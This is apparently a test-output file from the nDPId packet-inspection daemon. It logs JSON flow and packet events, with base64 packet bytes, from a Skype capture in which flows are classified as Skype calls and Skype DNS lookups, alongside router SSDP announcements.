+00434{"flow_id":146,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":916,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":29963,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ekBAAEAG3vPAqAEinTeCjsg3nEXoG0e+yGJxsoAQECxvRgAAAQEICj4yBKxOwLWv"} +00533{"flow_id":146,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":917,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":30365,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"0NQSxnP1PBXCt3IOCABFAAB6zxJAAEAGidvAqAEinTeCjsg3nEXoG0e+yGJxsoAYECwc5gAAAQEICj4yBKxOwLWvH+3hkvF2M+aqUAEHFdjrumsOvwszsiA13RqrReWHn0YTtqWsd6Cv8TYnjTFkfugGJEWy+3Ah3jd8vcozSBl279Q14msgEQ=="} +00435{"flow_id":148,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":918,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":43747,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA03e9AADYGHCidN+uqwKgBIpxgyDkZrLIc0UAjLYAQAB0IMQAAAQEICkxWb\/M+MgR2"} +00576{"flow_id":148,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":919,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":51914,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"PBXCt3IO0NQSxnP1CABFAACZ3fBAADYGG8KdN+uqwKgBIpxgyDkZrLIc0UAjLYAYAB1b4QAAAQEICkxWb\/U+MgR27CO5G4+xevFD5NEP+2HFwKVJgKFi61jnK\/6x2+vNugxSeE+Z3dxD96hNra\/mI1bL+dbPNBVCS4DxboeMjVqDWOkGP+QFcrsw4Z73PH2K8wjZNq+U9aIr4NHOZ+xtumO4yWYfROU="} +00435{"flow_id":148,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":920,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":51983,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0Zm1AAEAGiarAqAEinTfrqsg5nGDRQCMtGayygYAQECj3cwAAAQEICj4yBMFMVm\/1"} +00447{"flow_id":148,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":921,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":52517,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8qxtAAEAGRPTAqAEinTfrqsg5nGDRQCMtGayygYAYECiE0wAAAQEICj4yBMFMVm\/1OYUqH2Q1qrY="} +00435{"flow_id":146,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":922,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":157328,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0xHxAADcGnbedN4KOwKgBIpxFyDfIYnGy6BtIBIAQAB1+7wAAAQEICk7Atc8+MgSs"} +00510{"flow_id":146,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":923,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":161226,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"PBXCt3IO0NQSxnP1CABFAABoxH1AADcGnYKdN4KOwKgBIpxFyDfIYnGy6BtIBIAYAB29LwAAAQEICk7AtdA+MgSs6e2YYqDsT4Y1prBaJW5wBXMmXWA5\/I+UxdYsfqkRqhcXego4yfGCwCmJcOAuIwe9F9ydKg=="} +00435{"flow_id":146,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":924,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":161293,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ILtAAEAGOHnAqAEinTeCjsg3nEXoG0gEyGJx5oAQECpuLAAAAQEICj4yBS1OwLXQ"} +00447{"flow_id":146,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":925,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":161831,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8UIFAAEAGCKvAqAEinTeCjsg3nEXoG0gEyGJx5oAYECrGYgAAAQEICj4yBS1OwLXQr3KT27Tir4g="} +00447{"flow_id":147,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":926,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":195245,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGxIZv3U2OwKgBIpxNyDjFFwvv9Eu7+KASOJAFzgAAAgQFrAQCCApNkBSePjIEMAEDAwk="} +00435{"flow_id":147,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":927,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":195367,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0KkFAAEAGkU3AqAEib91Njsg4nE30S7v4xRcL8IAQECxb2QAAAQEICj4yBU9NkBSe"} +00506{"flow_id":147,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":928,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":195922,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABlW4VAAEAGX9jAqAEib91Njsg4nE30S7v4xRcL8IAYECyicQAAAQEICj4yBU9NkBSeje9wwyXSkPz9+l3ySHOXQLb\/sHvQChE9W1u6ieMrujza9vdq+yts9KGtofht1F39gg=="} +00447{"flow_id":149,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":929,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":358655,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8n8dAAEAGT7LAqAEi1cezsMg6nFWOWkflXYl5QIAYECpLMwAAAQEICj4yBfFO3n48uQiwNY7rtQs="} +00448{"flow_id":148,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":930,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":432833,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8jsZAAEAGYUnAqAEinTfrqsg5nGDRQCMtGayygYAYECiDWQAAAQEICj4yBjtMVm\/1OYUqH2Q1qrY="} +00435{"flow_id":147,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":931,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":487241,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0HxdAADcGpXdv3U2OwKgBIpxNyDjFFwvw9Eu8KYAQAB1rbgAAAQEICk2QFOc+MgVP"} +00544{"flow_id":147,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":932,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":491660,"pkt_caplen":143,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":143,"pkt_l4_len":109,"pkt":"PBXCt3IO0NQSxnP1CABFAACBHxhAADcGpSlv3U2OwKgBIpxNyDjFFwvw9Eu8KYAYAB1ZwgAAAQEICk2QFOk+MgVPXQUgQqTc7bWSkcfPgQgqgRpqpQs0qdOCw9mTBQjUuKPShCk3U2pS\/CnhVMSr3Y5VBj\/kBXK7MOGe9zx9ivMI2TavlPWiK+DRzmfsbbo="} +00435{"flow_id":147,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":933,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":491759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0HlRAAEAGnTrAqAEib91Njsg4nE30S7wpxRcMPYAQEClZ7QAAAQEICj4yBnVNkBTp"} +00447{"flow_id":147,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":934,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":492330,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA88BpAAEAGy2vAqAEib91Njsg4nE30S7wpxRcMPYAYECkrwAAAAQEICj4yBnVNkBTphTv5WfSZuu0="} +00447{"flow_id":146,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":935,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":677114,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8jd1AAEAGy07AqAEinTeCjsg3nEXoG0gEyGJx5oAYECrEYQAAAQEICj4yBy5OwLXQr3KT27Tir4g="} +00448{"flow_id":149,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":936,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":843268,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8D8hAAEAG37HAqAEi1cezsMg6nFWOWkflXYl5QIAYECpJUAAAAQEICj4yB9RO3n48uQiwNY7rtQs="} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":937,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1431970667913,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.140","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":152,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":937,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":913849,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6bg8AAEARKxbAqAEinTeCjDLdnEsAJgsKe3ECMurpMuGdyMUwflNlvhyptKR18dfr99Rpa+D7"} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":937,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1431970667913,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.140","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":938,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1431970667913,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.167","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":153,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":938,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":913849,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBDu8AAEARihTAqAEinTeCpzLdnF8ALeNce3MCnSaJe8js0\/W0uOkrjvFqVEozNuFXZVFpbX\/qiFWAThpduA=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":938,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1431970667913,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.167","src_port":13021,"dst_port":40031,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":939,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1431970667913,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":154,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":939,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":913913,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4i7gAAEARb8PAqAEib91NkjLdgQkAJGEVe3UC\/j9SXtMCBQsEGLuepyVsXxpYMSM\/UQo5ag=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":939,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1431970667913,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00449{"flow_id":148,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":940,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970667,"pkt_ts_usec":989480,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8+klAAEAG9cXAqAEinTfrqsg5nGDRQCMtGayygYAYECiBLgAAAQEICj4yCGZMVm\/1OYUqH2Q1qrY="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":941,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1431970668278,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63342,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":155,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":941,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":278677,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA6QgAAEARDjHAqAEiwKgBAfduADUALM6fTeoBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":941,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1431970668278,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63342,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"b.config.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":942,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1431970668278,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64258,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":156,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":942,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":278886,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAkhAAAEARZSnAqAEiwKgBAfsCADUALD+l2TUBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":942,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1431970668278,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":64258,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"b.config.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00792{"flow_id":49,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":943,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":328383,"pkt_caplen":327,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":327,"pkt_l4_len":293,"pkt":"AQBef\/\/6oPPBbTu2CABFAAE5BIwAAAQR\/4fAqAD+7\/\/\/+gQBB2wBJULdTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHV1aWQ6dXBucC1XQU5EZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogVFAtTElOSyBXaXJlbGVzcyBOIE5hbm8gUm91dGVyIFdSNzAyTiwgVVBuUC8xLjANClVTTjogdXVpZDp1cG5wLVdBTkRldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDENCg0K"} +00848{"flow_id":49,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":944,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":344610,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"AQBef\/\/6oPPBbTu2CABFAAFjBI0AAAQR\/1zAqAD+7\/\/\/+gQBB2wBT72wTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5EZXZpY2U6MQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IFRQLUxJTksgV2lyZWxlc3MgTiBOYW5vIFJvdXRlciBXUjcwMk4sIFVQblAvMS4wDQpVU046IHV1aWQ6dXBucC1XQU5EZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxOjp1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6V0FORGV2aWNlOjENCg0K"} +00514{"flow_id":120,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":945,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":359634,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":88,"pkt":"0NQSxnP1PBXCt3IOCABFAABsw99AAEAG91XAqAEib91Nr8gyAbuh2H4oZdpOV4AYECxvkgAAAQEICj4yCdhNo+P8rykSL\/YNWXmmSdsJysigGnvSxhmV7qYqIM+fUQQnb8UpRj+FOZcGRraAYWqHRq8j3tnIqulYKJg="} +00892{"flow_id":49,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":946,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":361578,"pkt_caplen":401,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":401,"pkt_l4_len":367,"pkt":"AQBef\/\/6oPPBbTu2CABFAAGDBI4AAAQR\/zvAqAD+7\/\/\/+gQBB2wBb7pkTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOQ29tbW9uSW50ZXJmYWNlQ29uZmlnOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBUUC1MSU5LIFdpcmVsZXNzIE4gTmFubyBSb3V0ZXIgV1I3MDJOLCBVUG5QLzEuMA0KVVNOOiB1dWlkOnVwbnAtV0FORGV2aWNlLTE5MjE2ODAyNTQ3ODkwMDAwMTo6dXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpXQU5Db21tb25JbnRlcmZhY2VDb25maWc6MQ0KDQo="} +00820{"flow_id":49,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":947,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970668,"pkt_ts_usec":378198,"pkt_caplen":347,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":347,"pkt_l4_len":313,"pkt":"AQBef\/\/6oPPBbTu2CABFAAFNBI8AAAQR\/3DAqAD+7\/\/\/+gQBB2wBOS6hTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHV1aWQ6dXBucC1XQU5Db25uZWN0aW9uRGV2aWNlLTE5MjE2ODAyNTQ3ODkwMDAwMQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IFRQLUxJTksgV2lyZWxlc3MgTiBOYW5vIFJvdXRlciBXUjcwMk4sIFVQblAvMS4wDQpVU046IHV1aWQ6dXBucC1XQU5Db25uZWN0aW9uRGV2aWNlLTE5MjE2ODAyNTQ3ODkwMDAwMQ0KDQo="} 